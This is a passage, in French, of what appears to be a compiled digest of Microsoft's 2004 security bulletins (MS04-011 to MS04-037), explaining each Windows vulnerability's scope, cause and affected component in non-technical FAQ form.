Layer), qui affecte la façon dont sont traités des messages SSL spécialement conçus. Cette vulnérabilité pourrait amener le système affecté à ne plus accepter les connexions SSL dans Windows 2000 et Windows XP. La vulnérabilité de Windows Server 2003 pourrait entraîner le redémarrage automatique du système affecté. Quelle est la cause de cette vulnérabilité ? Le processus utilisé par la bibliothèque SSL pour contrôler les messages en entrée. Qu'est-ce que la bibliothèque Microsoft Secure Sockets Layer ? La bibliothèque Microsoft Secure Sockets Layer contient la prise en charge d'un certain nombre de protocoles de communication sécurisée. Ce sont Transport Layer Security 1.0 (TLS 1.0), Secure Sockets Layer 3.0 (SSL 3.0) ainsi que le plus ancien Secure Sockets Layer 2.0 (SSL 2.0), rarement utilisé, et le protocole Private Communication Technology 1.0 (PCT 1.0). Ces protocoles fournissent une connexion cryptée entre un serveur et un client. SSL peut améliorer la protection des informations quand les utilisateurs se connectent sur des réseaux publics tels qu'Internet. La prise en charge par SSL nécessite un certificat SSL, qui doit être installé sur un serveur. Pour plus d'informations sur SSL, consultez l'article 245152 de la Base de connaissances Microsoft. Que pourrait faire un attaquant en exploitant cette vulnérabilité ? Dans Windows 2000 et Windows XP, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait amener le système affecté à ne plus accepter les connexions SSL. Dans Windows Server 2003, un attaquant pourrait entraîner le redémarrage automatique du système affecté. Durant ce laps de temps, le système affecté n'est pas en mesure de répondre aux requêtes d'authentification. Après redémarrage, le système affecté reprend son fonctionnement habituel. Cependant, il demeure vulnérable à une nouvelle attaque de déni de service tant que le correctif n'est pas appliqué. Si un attaquant exploite cette vulnérabilité, un événement d'erreur système peut être enregistré. Le message ID 5000 peut être enregistré dans le journal des événements système, avec pour valeur SymbolicName "SPMEVENT_PACKAGE_FAULT" et pour description : Le package de sécurité NOM a généré une exception ", où NOM contient la valeur " Schannel " ou " Microsoft Unified Security Protocol Provider. Qui pourrait exploiter cette vulnérabilité ? Tout utilisateur anonyme qui serait en mesure de transmettre un message SSL spécialement conçu à un système affecté pourrait tenter d'exploiter cette vulnérabilité. Comment un attaquant pourrait-il exploiter cette vulnérabilité ? Pour exploiter cette vulnérabilité, un attaquant pourrait créer un programme capable de communiquer avec un serveur vulnérable via un service SSL, pour lui envoyer un type spécifique de message TCP spécialement conçu. La réception d'un tel message pourrait entraîner l'échec du système vulnérable, qui pourrait alors provoquer un déni de service. Un attaquant pourrait aussi accéder au composant affecté via un autre vecteur : par exemple en ouvrant une session interactive sur le système ou en utilisant un autre programme qui passerait des paramètres au composant vulnérable, en local ou à distance. Vulnérabilité ASN.1 "Double Free" Il existe dans la bibliothèque Microsoft ASN.1 une vulnérabilité d'exécution de code à distance. Cette vulnérabilité est causée par une éventuelle condition "double-free" dans la Bibliothèque Microsoft ASN.1 qui pourrait entraîner une corruption de mémoire sur un système affecté. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Cependant, dans le scénario d'attaque le plus probable, le risque se limite à un déni de service. 15 Quelle est la portée de cette vulnérabilité ? Il s'agit plutôt d'une vulnérabilité de déni de service, bien qu'elle puisse entraîner l'exécution d'un code à distance. Cependant, un attaquant qui parviendrait à exploiter cette vulnérabilité pour autoriser l'exécution d'un code pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Il existe dans la bibliothèque Microsoft ASN.1 une possibilité de condition " double-free " qui pourrait provoquer une corruption de la mémoire. Qu'est-ce qu'une condition "double free" ? Un attaquant pourrait amener un système affecté, lorsqu'il traite un message spécialement conçu, à tenter de libérer (" to free ") de la mémoire qui aurait déjà été réservée pour être utilisée. Libérer de la mémoire qui a déjà été libérée peut provoquer une corruption de mémoire. Un attaquant pourrait ajouter en mémoire un code arbitraire, qui s'exécuterait au moment où se produit la corruption. Ce code pourrait alors être exécuté à un niveau de privilèges système. Généralement, cette vulnérabilité entraînera un déni de service. Cependant, de façon limitée, il peut se produire l'exécution d'un code. L'organisation de la mémoire étant différente sur chaque système affecté, il serait difficile d'exploiter cette vulnérabilité à grande échelle. Qu'est-ce que ASN.1 ? Abstract Syntax Notation 1 (ASN.1) est un langage utilisé pour définir des normes. De nombreuses applications et matériels l'utilisent dans les activités technologiques pour permettre les échanges de données entre des plates-formes diverses. ASN.1 n'est pas directement lié à une norme spécifique, une méthode de codage, un langage de programmation ou une plate-forme matérielle. Pour plus d'informations sur ASN.1, consultez l'article 252648 de la Base de connaissances Microsoft. 3.5. MS04-012 (Avril) Vulnérabilité de la bibliothèque d'exécution RPC Une vulnérabilité d'exécution de code à distance se produit suite à des conditions de concurrence lorsque la bibliothèque d'exécution RPC (Remote Procedure Call) traite des messages créés spécifiquement. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Cependant, dans le scénario d’attaque le plus probable, le risque se limite à un déni de service. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité de conditions de concurrence. L’attaquant qui exploite correctement cette vulnérabilité pourrait prendre complètement le contrôle à distance du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes dotés de tous les privilèges. Cependant, les conditions de concurrence ne sont pas prévisibles. Par conséquent, dans le scénario d’attaque le plus probable, le risque se limite à un déni de service. Quelle est la cause de cette vulnérabilité ? Les conditions de concurrence peuvent survenir lorsque la bibliothèque d'exécution traite des messages spécialement créés. Qu’est-ce que la bibliothèque d'exécution RPC ? Par défaut, la bibliothèque d'exécution RPC est installée sur tous les systèmes affectés. Elle fournit des services de communication, d'annuaire ou de sécurité aux développeurs d'applications. Pour plus d'informations sur la bibliothèque RPC, consultez le site Web MSDN. 16 Quel est le problème de la bibliothèque d'exécution RPC ? La vulnérabilité de la bibliothèque d'exécution RPC peut survenir si deux threads distincts d'un système d'exploitation tentent au cours d'une période donnée de traiter certains messages spécialement créés. Cet événement est considéré comme des conditions de concurrence car il dépend de la chronologie de ces threads. Ces conditions de concurrence peuvent provoquer une modification incorrecte de la structure interne des données par la bibliothèque d'exécution RPC. Le système affecté risque ainsi de présenter un comportement imprévisible. Qu’est-ce que les conditions de concurrence ? Les conditions de concurrence dépendent de la chronologie relative des événements dans les logiciels et systèmes d'exploitation multithread. Elles sont souvent assez difficiles à exploiter comme moyen d'exécution répétée de code arbitraire. Pour plus d'informations sur les conditions de concurrence, consultez le site Web MSDN. Pour une définition plus générale des conditions de concurrence, consultez le site Web Webnox Corporation Web site (HyperDictionary.com). En quoi les conditions de concurrence posent-elles un problème de vulnérabilité ? Ces conditions de concurrence peuvent créer un environnement dans lequel une série spécialement créée de requêtes pourrait provoquer une action imprévisible par la bibliothèque d'exécution RPC. Cependant, du fait que les circonstances à l'origine de cette situation changent chaque fois que la vulnérabilité est exploitée, il peut être difficile pour l'attaquant d'en tirer partie. Vulnérabilité du service RPCSS Le service RPCSS présente une vulnérabilité de déni de service. Si un message spécialement créé est envoyé au service RPCSS, ce service risque de ne pas récupérer la mémoire inutilisée. Ce comportement peut aboutir à un déni de service. Windows NT 4.0 n’est pas affecté par cette vulnérabilité. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de déni de service. Pour exploiter correctement cette vulnérabilité, l'attaquant doit envoyer un message créé spécialement au RPCSS, ce qui fait que le service RPCSS arrête de répondre et que le système affecté redémarre. Quelle est la cause de cette vulnérabilité ? Le processus utilisé par le service RPCSS pour vérifier la saisie de message dans certaines circonstances. Qu'est-ce que DCOM ? Le Distributed Component Object Model (DCOM) est un protocole qui permet à des composants logiciels de communiquer directement sur un réseau. Autrefois appelé « OLE réseau », DCOM est destiné à être utilisé sur de nombreux transports réseau, notamment les protocoles Internet tels que HTTP. Pour plus d’informations sur DCOM, visitez ce site Web. Quel est le problème du service RPCSS ? Une vulnérabilité dans le service RPCSS qui traite l'activation DCOM peut faire échouer un système via une gestion incorrecte d'un message spécialement créé. Cet échec affecte en particulier le service RPCSS sous-jacent utilisé pour l'activation de DCOM. Le service RPCSS écoute sur les ports UDP 135, 137, 138 et 445 et sur les ports TCP 135, 139, 445 et 593. En outre, DCOM peut écouter sur les ports 80 et 443 si CIS ou RPC sur HTTP sont activés. En envoyant un message RPC spécialement créé, un attaquant pourrait provoquer l’échec du service RPCSS sur un système pour générer un refus de service. 17 Vulnérabilité de l'identité d'objet Une vulnérabilité de type divulgation d'informations existe du fait de la manière dont sont créées les identités d'objets. Cette vulnérabilité pourrait permettre à un attaquant de forcer des applications à ouvrir leurs ports de communication réseau. Bien que cette vulnérabilité ne permette pas directement à un attaquant d'endommager un système, elle peut être utilisée pour permettre la communication réseau via des ports de communication inattendus. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de divulgation d'informations. Un attaquant qui exploite correctement cette vulnérabilité peut forcer des applications à ouvrir des ports de communication réseau, même par des applications qui ne sont pas conçues pour communiquer via le réseau. Cette vulnérabilité ne permet pas directement à l'attaquant d'endommager un système. Cependant, elle pourrait être utilisée pour activer la connexion réseau via des ports de communication inattendus. Quelle est la cause de cette vulnérabilité ? Chaque application possède un identificateur d'objet. Cet identificateur d'objet se présente sous la forme d'un numéro unique qui identifie l'application auprès du système d'exploitation. Cette vulnérabilité peut permettre à un attaquant de découvrir les identificateurs d'objet. L'attaquant peut alors forcer une application à ouvrir un port de communication réseau et lui demander d'accepter les demandes de connexion entrantes. Pour plus d'informations sur les identités d'objet, visitez ce site Web. 3.6. MS04-013(Avril) Vulnérabilité de traitement des URL MHTML Il existe une vulnérabilité d’exécution de code à distance dans le traitement des URL MHTML conçues spécialement ; elle pourrait permettre à un attaquant d’exécuter un code HTML dans la zone de sécurité Poste de travail d’Internet Explorer. L’attaquant pourrait ainsi prendre le contrôle total d’un système affecté. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait exécuter un code HTML de son choix dans la zone Ordinateur local d’Internet Explorer. Il pourrait alors prendre le contrôle total du système. Il pourrait entreprendre n'importe quelle action sur ce système, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Le traitement par Outlook Express des URL MIME Encapsulation of Aggregate HTML (MHTML) spécialement conçues. Qu'est-ce que des URL MHTML ? MHTML signifie MIME Encapsulation of Aggregate HTML. MHTML est une norme Internet qui définit la structure MIME (Multipurpose Internet Mail Extensions) utilisée pour envoyer du contenu HTML dans le corps des messages électroniques. Le Gestionnaire d'URL MHTML de Windows fait partie d'Outlook Express et fournit un type d'URL (MHTML://) qui permet le rendu dans des applications de documents encodés en HTML. Par conséquent de nombreuses applications, comme Internet Explorer, utilisent Outlook Express pour traiter des documents encodés en HTML. Que sont les zones de sécurité d’Internet Explorer ? 18 Les zones de sécurité Internet Explorer constituent un système qui classe le contenu en ligne en plusieurs catégories, ou zones, en fonction de son degré de fiabilité. Vous pouvez assigner des domaines Web spécifiques à une zone, selon la confiance que vous accordez au contenu de chaque domaine. Cette zone restreint alors les capacités du contenu Web, en fonction de sa stratégie de sécurité Par défaut, la plupart des domaines Internet sont traités comme faisant partie de la zone Internet, dont la stratégie par défaut empêche les scripts et les autres codes actifs d’accéder aux ressources du système local. 3.7. MS04-022 (Juillet) Vulnérabilité du Planificateur de tâches Il existe dans le Planificateur de tâches une vulnérabilité d’exécution de code à distance, due à la façon dont il traite la validation des noms d’applications. Un système peut être vulnérable à cette attaque de diverses façons. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Lorsque un utilisateur est connecté avec des privilèges d’administrateur, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Quelle est la cause de cette vulnérabilité ? Un tampon non contrôlé dans le composant Planificateur de tâches. Qu’est-ce que le Planificateur de tâches ? Le Planificateur de tâches vous permet de planifier l’exécution de commandes, de programmes ou de scripts à des heures spécifiques. Une tâche est enregistrée sous la forme d’un fichier doté de l’extension .job. Ce comportement facilite le transfert des informations de tâche d’un système vers un autre. Les administrateurs peuvent créer des fichiers de tâches de maintenance planifiées et les placer là où ils sont nécessaires. 3.8. MS04-023 (Juillet) Vulnérabilité « showHelp » Il existe une vulnérabilité d’exécution de code à distance dans le traitement d’une URL « showHelp » spécialement conçue. Cette vulnérabilité pourrait permettre l’exécution d’un code malveillant dans la zone de sécurité Ordinateur local d’Internet Explorer. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. L’attaquant pourrait alors installer des 19 programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Pour exploiter cette vulnérabilité, un attaquant doit utiliser un fichier spécialement conçu situé à un emplacement connu sur le système cible. Quelle est la cause de cette vulnérabilité ? Le protocole de « HTML Help » ne valide pas correctement les fichiers .chm. Qu’est-ce que le protocole HTML ? Le protocole HTML est utilisé pour ouvrir les fichiers compilés « HTML Help ». Qu'est-ce que « showHelp » ? La méthode « showHelp » permet d’afficher une page HTML de contenu d’Aide. Vulnérabilité « HTML Help » Il existe dans « HTML Help » une vulnérabilité d’exécution de code qui pourrait permettre l’exécution de code à distance sur un système affecté. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. L’attaquant pourrait alors installer des programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Quelle est la cause de cette vulnérabilité ? Cette vulnérabilité est due à une validation insuffisante des données en entrée dans « HTML Help ». Qu'est-ce que HTML Help ? Microsoft « HTML Help » est le système d’aide standard de la plate-forme Windows. Les auteurs peuvent utiliser « HTML Help » pour créer des fichiers d’Aide en ligne pour une application logicielle, ou pour créer du contenu pour un titre multimédia ou pour un site Web. 3.9. MS04-025 (Juillet) Vulnérabilité inter domaines liée aux méthodes de navigation Il existe dans Internet Explorer une vulnérabilité d’exécution de code à distance, due à son mode de gestion des méthodes de navigation. Un attaquant pourrait exploiter cette vulnérabilité en construisant une page Web nuisible qui pourrait permettre l’exécution d’un code à distance si un utilisateur visitait un site Web malveillant. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait exécuter un code de script malveillant dans la zone Ordinateur local d’Internet Explorer. Quelle est la portée de cette vulnérabilité ? 20 Il s’agit d’une vulnérabilité d’exécution de code à distance. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. L’attaquant pourrait alors installer des programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Quelle est la cause de cette vulnérabilité ? Le processus par lequel les méthodes de navigation sont validées par le modèle de sécurité inter domaines d'Internet Explorer. Quel est le modèle de sécurité inter domaines mis en œuvre par Internet Explorer ? L’une des principales fonctions de sécurité d’un navigateur consiste à s’assurer que les fenêtres du navigateur ouvertes sous le contrôle de sites Web différents ne puissent pas interférer les unes avec les autres, ni accéder aux données des autres, tout en permettant aux fenêtres ouvertes sur le même site d’interagir entre elles. Pour différencier les fenêtres autorisées à coopérer de celles qui ne le sont pas, le concept de « domaine » a été créé. Un domaine est une frontière de sécurité, toutes les fenêtres ouvertes dans le même domaine peuvent interagir entre elles, mais pas les fenêtres de domaines différents. Le modèle de sécurité inter domaines est la partie de l’architecture de sécurité qui empêche les fenêtres de domaines différents d’interférer les unes sur les autres. L’exemple le plus simple de domaine concerne les sites Web. Si vous visitez le site http://www.wingtiptoys.com et qu’il ouvre une fenêtre sur http://www.wingtiptoys.com/security, ces deux fenêtres peuvent interagir entre elles parce qu’elles appartiennent toutes deux au même domaine, http://www.wingtiptoys.com. Mais si vous ouvrez une fenêtre vers un site Web différent, le modèle de sécurité inter domaines protégera les deux fenêtres l’une de l’autre. Ce concept va même plus loin. Le système de fichiers de votre ordinateur local est également un domaine. Par exemple, http://www.wingtiptoys.com pourrait ouvrir une fenêtre pour afficher un fichier de votre disque dur. Cependant, puisque votre système de fichiers local est un domaine différent de celui du site Web, le modèle de sécurité inter domaines empêchera le site Web de lire le fichier en cours d’affichage. Le modèle de sécurité inter domaines d’Internet Explorer peut se configurer à l’aide des paramètres des zones de sécurité Internet d’Internet Explorer. Vulnérabilité par saturation de la mémoire tampon liée à un fichier BMP mal formé Il existe une vulnérabilité de saturation de la mémoire tampon dans le traitement des formats de fichier image BMP qui pourrait permettre l’exécution de code distant sur un système affecté. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de saturation de mémoire tampon. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. L’attaquant pourrait alors installer des programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. 21 Vulnérabilité « Double Free » liée à un fichier GIF mal formé Il existe une vulnérabilité de saturation de la mémoire tampon dans le traitement des formats de fichier image GIF qui pourrait permettre l’exécution de code distant sur un système affecté. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de refus de service, mais aussi potentiellement d'exécution de code à distance. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pour permettre l'exécution de code pourrait prendre le contrôle intégral d'un système affecté et ainsi installer des programmes, afficher, modifier ou supprimer des données ou encore créer des compte dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Qu’est-ce qu’une condition « Double Free » ? Un attaquant pourrait amener un système affecté, lorsqu’il traite un fichier GIF spécialement conçu, à tenter de libérer (« to free ») de la mémoire qui aurait déjà été réservée pour être utilisé. Libérer de la mémoire qui a déjà été libérée peut provoquer une corruption de mémoire. Un attaquant pourrait ajouter en mémoire un code arbitraire, qui s’exécuterait au moment où se produit la corruption. Si l'utilisateur a ouvert une session avec des privilèges d'administration, ce code pourrait alors être exécuté à un niveau de privilèges système. Généralement, cette vulnérabilité entraînera un refus de service. Cependant, de façon limitée, il peut se produire l’exécution d’un code. L’organisation de la mémoire étant différente sur chaque système affecté, il serait difficile d’exploiter cette vulnérabilité à grande échelle. 3.10. MS04-028 (Octobre) Vulnérabilité JPEG - CAN-2004-0200 Le traitement des formats de fichier image JPEG comporte une vulnérabilité de saturation de la mémoire tampon susceptible de permettre l’exécution de code distant sur un système affecté. Tout programme qui traite des images JPEG sur les systèmes infectés peut être vulnérable à cette attaque, ainsi que tout système qui utilise les programmes ou les composants affectés. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Lorsqu'un utilisateur est connecté avec des privilèges d’administrateur, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Quelle est la cause de cette vulnérabilité ? Une mémoire tampon non vérifiée dans le traitement des images JPEG. Quelle est la définition des images JPEG ? JPEG est une image indépendante de la plate-forme qui prend en charge un haut niveau de compression. JPEG est un standard Internet largement pris en charge et développé par le Joint Photographic Experts Group. Qu'est-ce que l'outil GDI+? GDI+ est une interface graphique qui fournit des graphiques vectoriels, des images et de la typographie 2D aux applications et aux programmeurs. Que fait cette mise à jour ? 22 Cette mise à jour élimine la vulnérabilité en modifiant la façon dont Windows valide les types d’images concernés. 3.11. MS04-032 (Octobre) Vulnérabilité de Window Management Une vulnérabilité d'élévation des privilèges existe dans les interfaces de programmation d'applications (API) Window Management. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’élévation locale des privilèges. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Plusieurs fonctions de l'API Window Management permettent aux programmes de modifier les propriétés d'autres programmes s'exécutant à un niveau de privilège plus élevé. Les programmes devraient être limités à la modification des propriétés de programmes s'exécutant au même niveau de privilège. Les propriétés du programme s'exécutant à un niveau de privilège plus élevé peuvent être modifiées de manière à provoquer une élévation du privilège de l'utilisateur connecté localement. Quelles sont les fonctions de l'interface de programmation d'applications Window Management ? L'interface utilisateur graphique (GUI) de Windows permet aux programmes de modifier diverses propriétés définissant le programme, telles que la taille de la fenêtre ou le nom du programme. Les fonctions de l'API Window Management sont les composants du système d'exploitation utilisés par les programmes pour modifier ces propriétés. Vulnérabilité Virtual DOS Machine (VDM) Il existe une vulnérabilité d’élévation locale des privilèges dans le composant de système d’exploitation qui prend en charge le sous-système Virtual DOS Machine (VDM). Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’élévation des privilèges. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Pour exploiter cette vulnérabilité, un attaquant doit être en mesure d’ouvrir une session en local sur le système et d’exécuter un programme. Quelle est la cause de cette vulnérabilité ? Le composant de système d’exploitation qui prend en charge le sous-système VDM pourrait être utilisé en vue d’accéder à la mémoire noyau protégée. Dans certaines circonstances, certaines fonctions privilégiées du système d’exploitation pourraient ne pas valider les structures système, et permettre à un attaquant d’exécuter un programme spécialement conçu avec des privilèges système. Qu’est-ce que le sous-système Virtual DOS Machine (VDM) ? Un sous-système Virtual DOS Machine (VDM) est un environnement qui émule le système d'exploitation MS-DOS et le système d'exploitation Windows basé sur MS-DOS sur des systèmes 23 d'exploitation basés sur NT. Un environnement VDM est créé chaque fois qu’un utilisateur ouvre une application MS-DOS dans un système d’exploitation basé sur Windows NT. Vulnérabilité du moteur de rendu des graphiques Vulnérabilité d'exécution de code à distance inhérente au rendu des formats d’images WMF (Windows Metafile) et EMF (Enhanced Metafile), risquant de permettre l’exécution de code à distance sur un système affecté. Tout programme qui rend des images WMF ou EMF sur les systèmes affectés pourrait être vulnérable à cette attaque. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre à distance le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Cette vulnérabilité peut également servir à tenter d'effectuer une élévation locale du privilège ou un déni de service distant. Quelle est la cause de cette vulnérabilité ? Une mémoire tampon non vérifiée dans le traitement des formats d'image WMF (Windows Metafile) et EMS (Enhanced Metafile) effectué par le moteur de rendu des graphiques. Qu’est-ce que les formats d’images WMF (Windows Metafile) et EMF (Enhanced Metafile) ? Une image WMF est un format de métafichier 16 bits capable de contenir à la fois des informations vectorielles et des informations bitmap (pixels). Elle est optimisée pour le système d’exploitation Windows. Une image EMF est un format de métafichier 32 bits capable de contenir à la fois des informations vectorielles et des informations bitmap (pixels). Ce format est une amélioration du format Windows Metafile et contient des fonctionnalités étendues. Vulnérabilité du noyau Windows Une vulnérabilité de déni de service local existe dans le noyau Windows. Un attaquant peut exécuter localement un programme capable d'empêcher de répondre le système concerné. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de déni de service. Un attaquant qui réussirait à exploiter cette vulnérabilité pourrait pousser le système affecté à arrêter de répondre et à redémarrer automatiquement. Durant ce laps de temps, le serveur ne pourrait pas répondre aux requêtes. Remarque : le déni de service ne permet pas à des attaquants d’exécuter du code ou d’élever leurs privilèges, mais peut amener le système affecté à ne plus accepter les demandes. Quelle est la cause de cette vulnérabilité ? Le noyau Windows ne réinitialise pas correctement certaines valeurs au sein des structure de données processeur. Qu’est-ce que le noyau Windows ? Le noyau Windows constitue le cœur du système d'exploitation. Il offre des services de niveau système tels que la gestion des périphériques et la gestion de la mémoire, il attribue du temps processeur aux processus et il gère le traitement des erreurs. 3.12. MS04-034 (Octobre) Vulnérabilité des dossiers compressés (zippés) 24 Une vulnérabilité d'exécution de code à distance existe dans les dossiers compressés (zippés) en raison d'une mémoire tampon non vérifiée dans le traitement de fichiers compressés spécialement conçus. Un attaquant pourrait exploiter cette vulnérabilité en élaborant une page Web nuisible potentiellement capable de permettre l’exécution d’un code à distance si un utilisateur visite un site Web malveillant. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Lorsque un utilisateur est connecté avec des privilèges d’administrateur, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Quelle est la cause de cette vulnérabilité ? Une mémoire tampon non vérifiée dans le traitement de fichiers compressés spécialement conçus effectué par les dossiers compressés (zippés). Qu'est-ce que les Dossiers compressés (zippés) ? La fonctionnalité Dossiers compressés (zippés) permet aux utilisateurs de stocker les fichiers de données et les dossiers sous un format compressé (ou zippé). Le stockage de fichiers et de dossiers compressés nécessite un espace moins important. Cette fonction permet aux utilisateurs de créer des dossiers zippés, ainsi que d'y ajouter et d'en extraire des fichiers. Pour plus d'informations sur les dossiers compressés (zippés), visitez le site Web Microsoft suivant. Windows vous propose également une autre façon de compresser des dossiers si votre lecteur est formaté en NTFS, la compression de fichiers NTFS. Toutefois, la compression de fichiers NTFS diffère sensiblement de la compression réalisée à l'aide des dossiers compressés (zippés). 3.13. MS04-035 (Octobre) Vulnérabilité SMTP Il existe dans le composant SMTP de Windows Server 2003 une vulnérabilité d’exécution de code à distance, due à la façon dont il traite les recherches de DNS (Domain Name System). Un attaquant pourrait exploiter cette vulnérabilité en forçant le serveur à traiter une réponse DNS particulière, capable de permettre l’exécution d’un code à distance. Quelle est la portée de cette vulnérabilité ? Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. La vulnérabilité existe également dans Microsoft Exchange Server 2003 lorsqu'il est installé sur Microsoft Windows 2000 Service Pack 3 ou sur Microsoft Windows 2000 Service Pack 4. 25 Quelle est la cause de cette vulnérabilité ? Un tampon non contrôlé dans le composant SMTP de Windows et dans le composant Moteur de routage d'Exchange. Qu'est-ce que SMTP ? SMTP (Simple Mail Transfer Protocol) est une norme professionnelle pour la livraison de courrier électronique sur Internet, conformément aux définitions RFC 2821 (en anglais) et RFC 2822 (en anglais). Ce protocole définit le format des messages électroniques, les champs que contiennent ces messages, leur contenu et les modalités de leur prise en charge. Qu’est-ce que le composant Moteur de routage d'Exchange ? Ce composant fait partie du service Moteur de routage d'Exchange. Ce service met en œuvre l'API du moteur de routage et détermine la façon dont le courrier électronique est acheminé à travers un système Exchange. 3.14. MS04-036 (octobre) Vulnérabilité NNTP Il existe une vulnérabilité d'exécution de code à distance dans le composant Network News Transfer Protocol (NNTP) des systèmes d'exploitation affectés. Cette vulnérabilité pourrait affecter des systèmes n'utilisant pas NNTP. Ceci est dû au fait que pour certains des programmes répertoriés dans la section des logiciels affectés, le composant NNTP doit être activé avant l'installation. Un attaquant pourrait exploiter cette vulnérabilité en élaborant une requête malveillante capable de permettre l’exécution d’un code à distance. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre à distance le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Cette vulnérabilité pourrait affecter des systèmes n'utilisant pas NNTP. Ceci est dû au fait que pour certains des programmes répertoriés dans la section des logiciels affectés, le composant NNTP doit être activé avant l'installation. Quelle est la cause de cette vulnérabilité ? Elle provient d'un tampon non vérifié dans le composant Network News Transfer Protocol (NNTP). Qu'est-ce que le composant Network News Transfer Protocol (NNTP) ? Le composant NNTP permet la distribution, la récupération et la publication d'informations dans la communauté Internet. NNTP est conçu de façon à ce que les informations soient stockées dans une base de données centrale permettant à un abonné de ne sélectionner que les éléments qu'il souhaite lire. Pour plus d’informations sur NNTP, consultez la documentation produit de NNTP. NNTP est défini dans les documents Request for Comment (RFC) 977 et 2980. 3.15. MS04-037 (octobre) Vulnérabilité du Shell Il existe une vulnérabilité d’exécution de code à 